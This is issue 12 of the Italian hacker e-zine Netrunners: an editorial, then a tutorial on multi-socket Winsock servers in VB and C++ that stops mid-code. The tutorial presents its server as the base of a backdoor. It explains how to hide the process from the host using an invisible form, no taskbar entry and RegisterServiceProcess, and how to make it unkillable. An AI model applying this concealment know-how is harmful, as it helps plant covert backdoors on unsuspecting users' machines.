_______ __ __________ \ \ _____/ |\______ \__ __ ____ ____ ___________ ______ / | \_/ __ \ __\ _/ | \/ \ / \_/ __ \_ __ / ___/ / | \ ___/| | | | \ | / | \ | \ ___/| | \|___ \ \____|__ /\___ >__| |____|_ /____/|___| /___| /\___ >__| /____ > \/ \/ \/ \/ \/ \/ \/(r) 4 0 4 -------------------------------------------------------------------------- FrOm Spp to tHe NeT NumEro DoDicI SpEciAlE HaCk-It 00 -------------------------------------------------------------------------- Sommario: --------- Editoriale ---------- By Brigante Hacking, Multisocket, filosofia e facezie medievali ------------------------------- By Master Piccola introduzione a Nessus cos'è, a cosa serve e come funzia --------------------------------- By Fritz Digging in the dirt (ovvero caccia alle API perdute) --------------------------- By Devil Un poko poko di reversing ------------------------- By NikDH Mirc 5.51 - Terza Parte ------------------------- By Darkman Hacking e disinformazione ------------------------- By Mave Come scrivere un semplicissimo portscan in C partendo da zero ------------------------------ By Fritz -=Nell'attachment=- IA e dintorni ---------------------- By Elvis =============================================================================================== Editoriale -------------- by Brigante -------------- Bene bene, cari ragazzi.....speravate che non tornassimo più ad angustiarvi con questa insulsa ed inutile rivista eh?? Bhè....vi è andata male perchè noi siamo ancora qua. Grandi novità si accavallano in questo numero, che è sempre meglio di quello di ieri e peggio di quello di domani (Madonna mi sembro il Berlusca). Innanzitutto si risveglia dal suo stato catatonico il grande Fritz, che ha prodotto ben due articoli che trovate su questo numero, e non è escluso che ne troviate altri andando avanti. Sorvolo sull'ormai onnipresente ed onniscente ed onnivoro Master, che anche stavolta ci cattura coi suoi articoli al limite dell'incerdibile, per segnalare due cose. Innanzitutto continua senza sosta l'interessantissimo corso su mIRC curato da Darkman. Inoltre voglio segnalare 3 new entries nel gruppo collaborativo del Netrunner: in primis segnalo il caro NikDH, l'unico uomo sulla Terra ad avere un fegato ridotto peggio del mio :-)), e che promette davvero molto bene, ed in secundis il bistrattatissimo ElviS, il quale mi ha stupito scrivendo un articolo veramente esaustivo sulla IA (che ovviamente tutti voi saprete cos'è), e del quale, a chi come me è figlio della Fondazione di Asimov, consiglio caldamente la lettura, ed infine, last but not least, un articolo di Mave sull'etica hacker, della quale non si parla mai abbastanza e che molti dimenticano stupidamente, senza ricordare che l'unico crimine dell' hacker è la curiosità. Ma ora vi lascio tranquillamente tuffare nella lettura di questo emozionantissimo numero 12, e vi ricordo che per complimenti vari o per numeri di cellulari di lettrici generose, potete contattarmi all'indirizzo Brigante@spippolatori.com Per lamentele, insulti, minacce di morte, fatture e malocchi vari invece l'indirizzo cui fare capo è quello dell'altro prezioso corredattore di Netrunners, ovvero flamer@freemail.it hihihi :-)))) Ciao belli....e spero di vedervi tutti all'hack-it 00 (okkio ai pulott vi raccomando ;-) ) Sempre vostro Brigante SPP Member =============================================================================================== /------------------------------------------------------------------------------\ | . --=.?-;a1]!gg[3]g$f$[$dJ#&Q#Q#QQ#QQQQQQ$#QQ3#ga&4]$]a13]]+]11;+]=:_: _| | - -],i -J-j]]1f/*j1&]9[Q&$9#8#Q#QQ | QQ##QQQQ##&#d&$Q$$&f]$]1{1]f+1]-i- .?- | | = ~]_{{=]a${]J3f1f$&$98$QQ#QQQQQQ## | QQ#QQQQ#Q#Q#Q$$&f$Q&#$]ag]]g+-1J]{?a:==_ | | ]-_a;]]]1+ffff$1a[Q&&$#QQQQQQQ#EGG4W4WW4#B@QQ#QQQQQQ&Q#Q ##1[&4g3/3]]{=)=a;-=| |]1]1{;]]f313[fQ3QQ#&$QQ##%G4"" """WQQQQQQQ#$9&d$##$&]]f{f{,]+]$={| |{$]]{g1$&f9$QQQ2#9&Q%Q4" "4QQ#QQ#QQ#8$g&&d9]&g1&1j+g]| |]$111$&f[Qf#28Q##%QG"_ ,, "@#QQQQQQQ99#Q#$39f3{$]$a| |{1$1$#fff&Q#Q##%Q8" /#a MB * * * `4QQQQQQQQQQ89&9#$4$[f9| |Qdg#8$QgQ#6QQ%QQ^ Q#1 ]## Q#_ `QQQQ###Q#QQQQ#&g2#d[| |6[Q#Q#QQQQQ@%QQ" ##3 I##a ____ ___,,g##_, ____ ,,___ W#QQQ#QQQQQQQQQQ$&&| |Q#Q#QQQQQQQ#%QC ,##7 W##6 SATOR AREPO TENET OPERA ROTAS. \Q@@QQ#QQQQQQQQQ##$| |QQ---------QQ@ [#M#_#N#6 /#@ #@ #@_'" Q# /#"_#M B#M7#L WQ@-------------QQ| |QQQQQG#QQ@@@M@ Q#!#W#Y#6 QB #@ Y##g Q# Q###M" BB " B@B@NQ@@@QQ@#QQQQQ| |QQQQQQ##QQ#QXQ$ #@ ##B Q# BB #@ 9#@ Q# B#@ _ BB /BWQ@QGQQQQQQQQQQQQ| |##9QQQQQ#QQ#QQ@a ,#@ Q#@ [#af#a_#B,ggaWB Q# Y#gg##*BB ,NQMQQQ##QG#QQQQQQ#Q| |##Q#QQQQQQQQ#QQ#g ]#L \B" ]#@ @##W#*@###" QB 9###" QB aNQ#QQQQ#QQQQQQQQQQ2#P| |2ffQ2$gQ2QQQQQ#QQQ_ ,dM@#QGQQQQQQ#QQQ2Q9#[$| |[[$YQ#4&QQQ6QQ9QQQQQg_ www.spippolatori.com _p#Q#Q#QQQQQ#QQQQQ8Q$fdJ93| |3g1Q[9f[SJ&##2QQQQQQQQQg,_ master@spippolatori.com ,gMQ#Q#@QQQQQQ#QQ#99Qd[$Qg13?| |,+'1]$]1f1J9g#QQ&$QQQQQQQBDpqa,,___ ____,aqg@#QQQQGQQQQQQQQgQ#2$134]9a4!]1{| |=-{]+*]?$]3$1$$39Q99QQQQQQQQQQQQ@Q#Q##@@@@Q@QQGGQQQQQQQQQQQQg9Q##&$94af1]$3]]!g?| |]ja),+a1{1]4?]$f19$&Q#QQ$QQQQQQQQQ#Q | QQ@#QQQQ#QQQQQQSQQ[Q&[gg$$[$4$(]]g])>]=??| |=a!:?+?]]]]$\]={Y$d$9#$&$8Q####QQQ#Q | Q#QXQQGQ###QQQ##$#9$a19ga4?$]1]\]{\]=1=? | | _ `==j]]]]]1+1{-+1${&YJ&S&[QQQQQQ#Q | QQGQQQQQQQQ6Q&Q&99j$3]19-?]j]=]*-??== . -| | ~-- ----.??1/?a!f4]9]999f8#9$$Q&#QQQQQQQQQ4#&fS[$J1[1[J3!a]a] ?]]=-== -- | \------------------------------------------------------------------------------/ ESAGERIAMO UNA VOLTA TANTO! ha ha ha Master - SPP altrimenti detto il Dr. Divago , ed ora capirete il perche'. :)) PROLOGO: (dettato esclusivamente da i postumi di un tremendo ascesso auto inciso con un taglierino per cavettatura elettronica in un momento di follia e in crisi da acuto dolore .. e in tv c'era pure Emilio Fede! :-\) Cosa c'e' in questo articolo? ..un apparente caos regna padrone! ..pero' se a qualcuno interessa sapere come costruirsi un server multiutente in C++ completamente invisibile, immortale e di soli pochi K ..oppure l'equivalente in VB ..o un tool programmabile con script per inviare in maniera stealth mail con svariati attach in formato uuencode da linea di comando ..o un pistolotto sul metodo di studio ..o una serie allegorica di proverbi medievali ..una lista di giochini idioti degli anno 70 beh .. ha trovato l'articolo giusto! :)) Cominciamo con la parte preferita dalle pornostar ovvero... L'INTRODUZIONE: Si potrebbe anche dire che con la scusa dell'hacking ho dato una ulteriore spinta all'evoluzione del tutorial per il winsock, si .. potremmo anche dire cosi'. In realta' le cose sono di per se strettamente collegate nel caso ci si trovi a lavorare di preferenza su un sistema windows, anche perche' ritengo che lo smanettone classico si evolva in spippolatore nell'esatto momento nel quale smette di imparare cose fini a se stesse per -imparare- e basta. Un hacker non e' forse anche questo? .. un individuo che di base conosce tutto cio' che c'e' da sapere nel suo specifico ramo (e anche oltre); e' quindi un individuo che in caso di bisogno sa di possedere una -cassetta degli attrezzi- mentale dentro la quale andare a rovistare per trovare cio' che meglio potrebbe servire alla sua bisogna. [ Grazie papa' Feynman per la definizione. ] La strada semplice ed anche quella piu' allettante e' rappresentata dallo studio mirato al raggiungimento di un determinato obiettivo: A sa poco o nulla del sistema B .. scopre che per raggiungere la sua meta agognata deve compilare quel sorgentino in perl ..e giu' a studiare il perl solo per le cose che potrebbero tornargli utili. Finito il lavoro scopre che il perl deve contenere determinate locazioni di programmi sul server .. ma il poveretto non sa cosa siano.. e giu' a studiare anche questa cosa. Il sistema nell'uno per mille dei casi funziona ed e' decisamente rapido nella sua esecuzione (dipende ovviamente dalle capacita' cerebrali dell'artista) ma negli altri 999?? :)) Verrebbe in mente il caso dello sventurato che studiato tutto cio' che poteva sembrare utile ad un giretto veloce su quel server si accorge dopo un paio di giorni, su avviso delle forze dell'ordine, che quella particolare opzione proprio l'aveva dimenticata .. pofferbacco! ..probabilmente c'era sulla pagina del tutorial una macchia che rendeva proprio quel rigo ileggibile! :) Diceva Leonardo con grande saggezza e premonizione del futuro: "Il ragno credendo trovar requie nella buca della chiave trova la morte" Studiare per studiare, raccogliere, memorizzare, fare propri i concetti generali, i trucchi e le bizzarrie .. senza tralasciare mai nulla, ricordandosi che la genialita' e' spesso SERENDIPITY .. ovvero si studia e si sperimenta una determinata cosa senza un obiettivo preciso finche' ad un certo punto si apre una specie di finestra al di la della quale si intravede una luce; la luce della -scoperta- che ci mostra come immediatamente raggiungibile una cosa alla quale non avevamo minimamente pensato. -Novanta per cento sudore e dieci per cento genialita'- diceva Edison che di scoperte se ne intendeva! :) .. io vorrei permettermi di correggere minimamente il maestro con un piu' realistico novantanove per cento di sudore e uno per cento di casualita'. Sono un pessimista? No anzi .. sono fiducioso nelle capacita' del genere umano. Per Edison serviva cmq un dieci per cento di genialita' al parto della -scoperta- mentre io ritengo che chiunque di noi con un novantanove per cento di sudore possa tranquillamente aspettarsi entro breve il suo meritato uno per cento di felice casualita' .. la SERENDIPITY e' benevola ma soprattutto molto socialista nel senso classico del termine .. si autodistribuisce equamente a tutti senza distinzione per l'estrazione sociale, il sesso, il colore della pella o la religione professata! :)) Purtroppo pero' e' anche una cosa discretamente subdola. Spesso da vedere alle menti con una limitata -cassetta degli attrezzi- cose completamente inesistenti o delle quali si potrebbe associare al reale solo una fugace immagine come un miraggio nel deserto. A quel punto studiare, studiare, studiare .. non servirebbe piu' a nulla perche' la genialita' e' anche effimera .. cosi' rapida come se ne ne viene .. cosi' rapida se ne va lasciandosi alle spalle solo chiacchiericci di comari e rumori di ricerca in malfornite cassette degli attrezzi. La cassetta cioe' .. bisognera' sempre cercare di riempirla "prima" e al massimo perche' quando si presentera' l'occasione sara' bene non farsi trovare impreparati.. ricordandosi che nella maggior parte dei casi avere le chiavi inglesi dal numero 3 al numero 16 significhera' quasi certamente dover poi svitare un bullone del 22 per riuscire a coronare i propri sforzi. ;-) Ve beh .. detto questo passiamo agli argomenti tecnici motivi scatenanti di tutta la tiritera sopra. GESTIONE MULTIPLA DEI SOCKETS a. Esempio in VB col trattamento ad Oggetti server multiutente b. Esempio in C++ (Borland / VC) con la creazione di nuovi Thread Server multiutente programmabile /min-opzioni password, no task list, sweep, .. LE "MAIL" CHE SERVONO! La fine.. b. C++ Un tool essenziale - mail con attach in formato uuencode da linea di comando invio a pacchetti segmentati con script programmabile esterno ed opzione STEALTH e poi L'inizio.. a. VB - invio complesso di mail secondo le schema MAILTO URL SCHEME - RFC2368 E PER FINIRE.. Finalmente il programma FUNZIONANTE al 100% in VB per il recupero delle cached password tramite la mpr.dll La gestione multipla dei socket sia nel caso del caricamento in parallelo di piu' oggetti complessi di tipo winsock sia nel caso dell'apertura di svariati thread all'interno dei quali effettuare le stesse operazioni e' necessaria in moltissimi casi: 1. un server ha solitamente l'esigenza di permettere a molti client l'accesso alle sue risorse e quindi l'apertura di uno o piu' socket per client permette il dialogo in linea diretta stabilendo cosi' altrettante connessioni private dove fornire/sfruttare i servizi collegati. 2. nel caso si volesse costruire un portscan l'uso delle procedure multisock permetterebbe una velocita' N volte maggiore al controllo porta per porta. Questo perche' ogni servizio ha un suo tempo specifico di risposta, tempo che spesso puo' essere regolato a piacere dall'amministratore sulla base di particolari esigenze. Ancora piu' importanti sono pero' i tempi di risposta di porte sulle quali non e' attivo nessun servizio e dove cmq il collegamento via TCP viene -ricercato- .. in questo caso la risposta di tipo negativo potrebbe farsi attendere anche per diversi secondi. Assumendo un tempo medio di risposta di 1 secondo per porta (sicuramente piu' basso dell'equivalente realistico) per controllare tutto il range di 65535 porte usando il metodo pXp impiegheremmo la bellezza di quasi 18 ore e mezzo. Usando invece 100 socks alla volta e quindi verificando 100 porte contemporaneamente potremmo ridurre il lavoro a poco meno di 11 minuti. 3. volendo costruire un server che ci permetta in contemporanea di offrire piu' servizi con lo stesso client volendo separare ogni collegamento per attivita' specifica (dialogo, invio file, chat privata, chat pubblica, redirector, ecc..) servirebbero ancora N sockets .. 1 per servizio. 4. ... Insomma i casi sono davvero molti. ;-) Ma come si usa il multisock o il multithread ? Il principio fondamentale e' lo stesso del sock singolo o del thread singolo. Nel caso del VB o del C++ in modalita' application l'apertura dei Thread e la creazione dei processi relativi ad ogni sock che vorremo utilizzare e' facilitata dalle macro librerie ocx dedicate e dalla struttura stessa del compilatore visual che ci permette di caricare in memoria piu' oggetti con un comando LOAD like senza doverci preoccupare di fare altro. La stessa cosa altrimenti dovrebbe essere fatta a mano usando le API di sistema CreateThread, _beginthread, ecc.. queste procedure sono invece praticamente d'obbligo sul c++ in modalita' consolle o sul VB in modalita' "oggi mi va di complicarmi la vita" :) Qual'e' il sistema piu' semplice? Qual'e' il migliore? Mah .. senza neanche andare su i vecchi discorsi del bisogno meno delle run time library o sulle dimensioni specifiche dei programmi si potrebbe dire che dipende sempre dai vari bisogni di chi opera. La gestione visual e' sicuramente piu' comoda e semplice nel caso si voglia completare una applicazione in tempi rapidi e con una discreta interfaccia grafica. La gestione dei Thread usando le API di sistema e' cmq altrettanto semplice (una volta presa la mano) e a fronte di una difficile implementazione di fronzoli grafici permette pero' una gestione a piu' basso livello di tutta la cosa. La gestione visual permette l'uso e il controllo di vari EVENTI di sistema senza doversi scrivere delle procedure apposite, la gestione dei Thread nella stragrande maggioranza dei casi utili permette di costruire l'ossatura funzionante delle proprie applicazioni in modalita' consolle con solo poche righe di codice. Ad ogni buon conto .. cominciamo col VISUAL prendendo il VB a modello. La prima operazione indispensabile da fare e' quella (come sempre) di caricare sul proprio form il controllo winsock. Indifferentemente il Netmanage Winsock (intranet activex 6.02) winsck.ocx o il Microsoft Winsock Control mswinsck.ocx anche se io ho una netta preferenza per il primo. :) //---------------------------------------------------- Molti hanno / hanno avuto ed avranno problemi con l'uso di questi componenti. Il tutto e' da far risalire alla poca compatibilita' delle nuove versioni di VB con le precedenti + una comprovata ostilita' di certi tools di Office (Access tanto per fare un esempio) con i confratelli della stessa famiglia. E' risaputo che installare un VB5 su un VB4 e' cosa alquanto deleteria per quest'ultimo stessa cosa per diverse versioni di VB dopo la 5 su HD differenti nello stesso computer. In generale pero' i problemi si hanno nei seguenti casi: 1. il winsck.ocx non risulta avere una corretta licenza a corredo. In questo caso il problema e' da attribuirsi quasi esclusivamente al fatto che si e' trovato questo componente da qualche parte in rete e si e' cercato di registrarlo semplicemente con REGSRV32.EXE .. non funziona! Per averlo installato e registrato correttamente occorre cercarsi in rete e scaricarsi gli INTRANET ACTIVEX 6.02 (activex602.zip) Si possono trovare ad esempio nella sezione supporti per windows sul nuovo sito di PacketStorm : http://www.securify.com/PacketStorm/ 2. Alcuni componenti Microsoft non risultano dotati di regolare licenza pur avendo installato una versione regolarmente acquistata (tramite i Twilight! :)) ) del VB. Cosa spesso associata alla perdita delle licenze di Access. Nel caso (E SOLO IN QUESTO CASO) si abbia installato VB5 e/o Access 97 e' possibile scaricarsi da www.spippolatori.com il mio programma MANOSANTA che risolve una volta per tutti questi problemi. :) //---------------------------------------------------- Si carica il componente sul form dicevamo .. e allora? cosa c'e' di diverso? :) C'e' di diverso che occorre settare l'index del componente a 0 nelle proprieta' dello stesso. Questo indica al VB che vogliamo usare un vettore di oggetti winsock in parallelo. Ogni sock sara' caricato col comando LOAD. Se ad esempio avremo usato il Microsoft winsock che di default ha come nome Winsock1 c troveremo con una serie di oggetti winsock1(0), winsock1(1), ecc.. [ stessa cosa per il Netmanage TCP1(0), TCP1(1), TCP1(2), ecc... ] E' possibile a quest punto optare per due soluzioni: 1. Caricarsi all'apertura del programma TUTTI i sock che ci servono 2. Caricare un sock alla volta nel momento specifico del bisogno. I vantaggi/svantaggi dipendono ancora dal programma che vorremmo fare. Nel caso uno si ha una maggiore occupazione di memoria ma dato che nessuno usera' mai questo sistema con un Sinclair ZX-81 non credo che poi la cosa sia tanto rilevante. :) E' semmai importante ricordarsi SEMPRE di scaricare gli oggetti winsock, caricati con LOAD alla chiusura del programma, col comando UNLOAD perche' il VB ha la drammatica tendenza a tenere occupate perennemente le risorse se cio' venisse omesso. Alla seconda o terza prova di sperimentazione potremmo trovarci con un programmino da pochi K che ha invaso in maniera massiccia i 256M di ram del nostro beneamato computer. :) Caricarsi tutti i sock che ci servono e' la scelta piu' semplice.. volendo caricare 100 socks diversi potremmo semplicemente dire FOR n=1 to 100 LOAD Winsock1(n) NEXT n La gestione separata di ogni sock verra facilitata da alcuni fatti importanti IL VB non cambia minimamente le procedure operative e gli eventi relativi al sock singolo .. aggiungera' solo un indice (INDEX) necessario sia caso dei controlli e della ricezione che in quello dell'invio dei dati per sapere/stabilire la linea di connessione dalla_quale_ricerverli/sulla_quale_inviarli. Esempio .. Sock singolo (controllo mswinsck.ocx) ... Private Sub TCP1_Close() ... Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) ... Socks multipli ... Private Sub TCP1_Close(Index As Integer) ... Private Sub TCP1_DataArrival(Index As Integer, ByVal bytesTotal As Long) ... Unica cosa importante da valutare e' lo stato di ogni sock aperto. Cosa questo assolutamente poco importante nei programmi a sock singolo diventa in questo caso di primaria importanza. Perche'? Consideriamo l'esempio del portscan citato all'inizio: Vogliamo controllare 65535 porte diverse usando 100 sockets alla volta. Ovviamente il nostro compilatore (e il nostro computer, e la nostra rete,ecc.. ) per motivi facili da capire non ci permettera' di aprire piu' di tanti sockets contemporaneamente. di certo sappiamo che gia' 300 potrebbero essere una scelta proibitiva per macchine limitate di memoria e soprattutto una scelta assurda per utenti in rete con una banda ristretta. Ogni socket pero' dopo la scansione di una porta potrebbe essere riutilizzato per la lettura di un'altra porta. nasce qui l'esigenza di controllare lo stato di attivita' di ogni linea di collegamento per sapere la disponibilita' dell'oggetto gestore in locale della stessa. I due controlli winsock ci forniscono diverse possibilita' di controllo tramite la proprieta' State winsock1(..).State = XXX dove XXX puo' essere un numero da 0 a 9 rappresentante i seguenti stati [come da help vb] sckClosed 0 Impostazione predefinita. Chiuso sckOpen 1 Aperto sckListening 2 In attesa sckConnectionPending 3 Connessione in sospeso sckResolvingHost 4 Risoluzione dell'host in corso sckHostResolved 5 Host risolto sckConnecting 6 Connessione in corso sckConnected 7 Connesso sckClosing 8 Il client sta chiudendo la connessione sckError 9 Errore Ovviamente nel caso in socket in stato 0 potremmo agevolmente riutilizzarlo per altri lavori di fatica, nel caso di un socket in stato 9 o alla peggio anche 7 potremmo sempre disconnetterlo per utilizzarlo per altri versi. :) Un esempio pratico serve piu' di mille parole: Un piccolo server multiutente (praticamente la base di una backdoor in VB) che permette il collegamento a se di N utenti. permette inoltre di gestire (dal server) l'invio di testo verso un utente singolo o di di un gruppo di utenti selezionati. E' praticamente quasi lo stesso sorgente presentato nei tutorial precedenti sul winsock con alcune differenziazioni: Il programma funziona caricandosi in memoria un socket tutte le volte che un client richiede una connessione. Nel caso un client chiuda la stessa per motivi vari il controllo non viene scaricato ma mantenuto in memoria nello stato chiuso in attesa della connessione di un altro client .. nel caso questo avvenga i sock in memoria e in stato "chiuso" sono privilegiati rispetto al caricamento di un nuovo oggetto winsock. Il prog commentato: (nel file allegato PRGMST.ZIP trovate il sorgente completo) ========================================================================================== '//////////////////////////////////////////////////////////////////////////////////////// Private socket As Integer Private attivo As Boolean Private viene As Integer '//////////////////////////////////////////////////////////////////////////////////////// ' Procedure per inviare su richiesta un astringa di testo a tutti i client selezionati ' nella listbox. Ogni client viene identificato come ID col rispettivo numero di socket ' aperto e nella listbox figurano solo i socket in collegamento attivo. ' Un ciclo controlla i socket presenti nella listbox e provvede all'invio del testo ' col metodo SendData. '//////////////////////////////////////////////////////////////////////////////////////// Private Sub Command1_Click() a$ = Text3 + vbCrLf For n = 0 To List1.ListCount - 1 If List1.Selected(n) = True Then TCP1(List1.List(n)).SendData a$ ' il delay e' utile solo nel caso si facciano delle prove ' in locale (127.0.0.1) con piu' client per garantire la visualizzazione ' completa delle stringhe inviate dal server ' infatti il rapido invio di dati su piu' sockets aperti sulla stessa ' macchina fa si che le informazioni di visualizzazione delle consolles ' vengano sormontate. I dati sono stati comunque ricevuti ma non vengono ' visualizzati se non dopo uno specifico invio di altri dati alla ' consolle selezionata. ' -------------------------------------------------------- s = Timer: p = 1 ''''''''''''''''''''''''''''''' Do While Timer < s + p ''''''''''''''''''''''''''''''' DoEvents ''''''''''''''''''''''''''''''' Loop ''''''''''''''''''''''''''''''' ' -------------------------------------------------------- End If Next n Text3.SelStart = 0 Text3.SelLength = Len(Text3) Text3.SetFocus End Sub '//////////////////////////////////////////////////////////////////////////////////////// ' Procedura di attivazione del server. ' La porta citata nella LocalPort sara' anche il servizio a cui i vari client dovranno ' fare riferimento '//////////////////////////////////////////////////////////////////////////////////////// Private Sub Command2_Click() On Local Error Resume Next TCP1Close socket TCP1(socket).LocalPort = Text4 TCP1(socket).RemotePort = 0 TCP1(socket).Listen Command2.Caption = "* IN ASCOLTO *" Command2.Enabled = False Text4.Enabled = False End Sub '//////////////////////////////////////////////////////////////////////////////////////// ' All'uscita dalla applicazione tutti i sockets vengono regolarmente chiusi '//////////////////////////////////////////////////////////////////////////////////////// Private Sub Form_Unload(Cancel As Integer) Dim n As Integer For n = 0 To socket TCP1Close n Next ' da aggiungere nel caso il completo UNLOAD dei controlli winsock ' for .. UNLOAD Winsock1(n) .. next // ' e' da tenere presente che mentre per il controllo MSWinck.ocx non ci ' sono problemi per il NETMANAGE winsock bisogna prima verificare di ' aver caricato un aggiornamento del WINSCK.OCX non troppo vecchio. ' Nella stessa versione degli intranet activex 6.02 ci trovano ' almeno 6 differenti aggiornamenti del winsck.ocx ed e' possibile ' controllare la versione o con un hex editor o con un editor resources. ' Un winsock netmanage in versione precendente alla 1.12 causa un ' errore nel VB quando piu' moduli vendono UNLOADati in rapida sequenza, ' in questo caso e' necessario inframmettere nel ciclo una linea di ' ritardo tra un UNLOAD e l'altro di almeno 500msec. ' ' Altro tipico problema del Winsock Netmanage (a fronte di tanti vantaggi ' quali ad esempio il maggior numero di eventi e metodi di base) e' che ' all'uscita del programma le connessioni DEVONO essere tutte chiuse pena ' una uscita del programma con messaggio d'errore. ' Bisogna allora ricordarsi (ma dovrebbe essere fatto in ogni caso) di ' chiudere tutti i controlli winsock aperti anche nell'evento form_TERMINATE ' o form_CLOSE. ' End Sub Private Sub TCP1_Error(Index As Integer, ByVal Number As Integer, _ Description As String, ByVal Scode As Long, ByVal Source As String, _ ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) visualizza vbCrLf + "Errore : " & Description TCP1Close Index End Sub '//////////////////////////////////////////////////////////////////////////////////////// ' Procedura per inviare parallelamente a tutti i sock i tasti premuti sul server ' all'interno di una determinata textbox '//////////////////////////////////////////////////////////////////////////////////////// Private Sub Text2_KeyPress(KeyAscii As Integer) Dim text As String On Local Error Resume Next text = Text2 '----------------------------------------------------------- ' nel ciclo che segue ho optato per un controllo "piu' semplice" (!?) ' di quello che in effetti servirebbe per effettuare le verifiche ' sulla lista sei socket aperti. ' [ se non piu' semplice diciamo pero' piu' chiaro per la mente ' di uno che non ha mai usato questo tipo di procedure :)) speriamo! ] ' 30 e' nel nostro caso il numero ' massimo di connessioni che e' possibile aprire.. il numero e' ' aumentabile a piacere sempre tenendo presente che piu' di tanti controlli ' non e' possibile caricare e che cqm piu' di tante connessioni non e' ' possibile aprire. :) ' In effetti sarebbe servita piu' una cosa dinamica di questo tipo: ' ... ' For Each S In TCP1 ' If (S.State = sckClosed Or S.State = sckError) Then ' attivo = True ' End If ' Next ' '----------------------------------------------------------- For n = 0 To 30 If TCP1(n).State = 7 Then attivo = True Next n If attivo = False Then visualizza "Nessun sock attivo" Else visualizza text For n = 0 To 30 If TCP1(n).State = 7 Then TCP1(n).SendData text If KeyAscii = 13 Or KeyAscii = 10 Then TCP1(n).SendData vbCrLf Next n End If If KeyAscii = 13 Or KeyAscii = 10 Then visualizza vbCrLf Text2 = "" End Sub '//////////////////////////////////////////////////////////////////////////////////////// ' Controllo periodico sullo stato dei sockets aperti per poterne dare confermo sul form ' di visualizzazione '//////////////////////////////////////////////////////////////////////////////////////// Private Sub Timer1_Timer() text = "" For n = 0 To socket text = text + CStr(n) + ":" + CStr(TCP1(n).State) + "," Next n End Sub '//////////////////////////////////////////////////////////////////////////////////////// ' Connessione effettuata: ' Il server da conferma a se di questo chiamando l'IP dell'host remoto ' ed iviando allo stesso un messaggio di conferma '//////////////////////////////////////////////////////////////////////////////////////// Private Sub TCP1_Connect(Index As Integer) Dim text As String On Local Error Resume Next visualizza "Sock " + CStr(Index) + " attivo sull'IP : " & TCP1(Index).RemoteHostIP attivo = True text = "Siamo collegati" TCP1(Index).SendData text Call riempilista End Sub '//////////////////////////////////////////////////////////////////////////////////////// ' Procedure per l'attribuzione di un nuovo socker o di un socket chiuso ad un client ' che tenti di collegarsi. '//////////////////////////////////////////////////////////////////////////////////////// Private Sub TCP1_ConnectionRequest(Index As Integer, ByVal requestID As Long) On Local Error Resume Next '------------------------------------------------------------ 'Controlla se esiste almeno un socket tra quelli gia' aperti 'in stato CHIUSO .. se si lo usa per la nuova connessione '----------------------------------------------------------- attiva = -1 For n = 0 To socket If TCP1(n).State = 0 Then attiva = n Exit For End If Next '----------------------------------------------------------- ' Nel caso non ci sia nessun socket caricato e in stato ' chiuso ne viene creato un altro nuovo. '----------------------------------------------------------- If attiva < 0 Then socket = socket + 1 attiva = socket End If Load TCP1(attiva) visualizza vbCrLf + "attivata connessione" TCP1(attiva).Accept requestID attivo = True Call riempilista End Sub '//////////////////////////////////////////////////////////////////////////////////////// ' Riceve i dati in arrivo dai vari client identificati dal parametro Index ' nel nostro caso INDEX == Numero di socket usato! '//////////////////////////////////////////////////////////////////////////////////////// Private Sub TCP1_DataArrival(Index As Integer, ByVal bytesTotal As Long) On Local Error Resume Next If viene <> Index Then visualizza vbCrLf + "S(" + CStr(Index) + ")" + " > " viene = Index End If Dim text As String TCP1(Index).GetData text If (Right$(text, 1) = Chr$(10) Or Right$(text, 1) = Chr$(13)) And _ Right$(text, 2) <> vbCrLf Then text = Left$(text, Len(text) - 1) + vbCrLf End If visualizza text End Sub Private Sub TCP1_Close(Index As Integer) TCP1Close Index End Sub Private Sub TCP1Close(Index As Integer) On Local Error Resume Next If TCP1(Index).State <> 0 Then TCP1(Index).Close attivo = False Call riempilista End Sub Private Sub visualizza(text As String) On Local Error Resume Next Text1 = Right(Text1 & text, 32000) Text1.SelStart = Len(Text1) End Sub '//////////////////////////////////////////////////////////////////////////////////////// ' Crea la listbox con tutti i socket trovati in stato -connesso- '//////////////////////////////////////////////////////////////////////////////////////// Private Sub riempilista() List1.Clear For n = 1 To 30 If TCP1(n).State = 7 Then List1.AddItem n Next n End Sub ========================================================================================== Ok. Il programma sopra riportato (e del quale avevamo gia' discusso nei precedenti numeri del tutorial winsock e' gia di per se la base di quello che serve per un completo server autonomo multiutente.. sia esso una backdoor o ad esempio un servizio di sendmail per i propri clienti, ecc.. Si potrebbe dire che abbiamo implementato l'ossatura del programma attraverso la quale con nostre procedure dedicate passare poi alle connotazioni specifiche del servizio (o del disservizio) che vorremo offrire. :) Nel caso di usi -maliziosi- della cosa ci mancherebbe soltanto la possibilita' di rendere invisibile il server alla macchina ospite. Come gia' detto cio' e' facilmente praticabile tramite tre semplici procedure operative di base. 1. Ponendo in modalita FALSE la proprieta' VISIBLE del form generale del server. 2. MEttendo in modalita' TRUE per lo stesso form la proprieta' NOTASKBAR 3 Eliminando il processo dalla Task List dichiarando l'intero server come SERVICE tramite queste poche righe: '---------------------------------------------------------------------- Public Declare Function RegisterServiceProcess _ Lib "kernel32" _ ( ByVal dwProcessID As Long, _ ByVal dwType As Long _ ) As Long Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long nascondi=RegisterServiceProcess(GetCurrentProcessId(), 1) '---------------------------------------------------------------------- Peccato che in VB manchi la possibilita' di fare una cosa SIMPATICA come sul c++ :)) In C le API sono funzioni di base .. cioe' praticamente sono le funzioni con le quali il c++ opera. Alcune di queste non volutamente -dimenticate- dal compilatore per motivi vari. Tra le dimenticate spicca RegisterServiceProcess.. quindi per usarla e' necessario fari riferimento alla sua locazione specifica all'interno della libreria kernel32.dll. es: //---------------------------------------------------------------------- HINSTANCE carica; typedef DWORD (__stdcall *forma)(DWORD, DWORD); forma RegisterServiceProcess; ... carica = LoadLibrary("kernel32.dll"); ... RegisterServiceProcess =(forma)GetProcAddress(carica,"RegisterServiceProcess"); RegisterServiceProcess(GetCurrentProcessId(),1); ... //---------------------------------------------------------------------- dopo aver caricato la libreria Kernel32.dll in memoria e' necessario liberarci di questo fardello. Ma quando farlo? All'uscita del programma o subito dopo la chiamata alla funzione? Meglio subito dopo l'uso della funzione. Perche'? :)) he he ma perche' cosi' per un tipico errore di windows ci resta un programma con un riferimento attivo nella lista dei file aperti e praticametne nessun comando base di sistema (o presente neoi vari task manager) capace di killare un multithread di questo tipo il tutto risulta essere IMMORTALE. quindi con //---------------------------------------------------------------------- HINSTANCE carica; typedef DWORD (__stdcall *forma)(DWORD, DWORD); forma RegisterServiceProcess; ... carica = 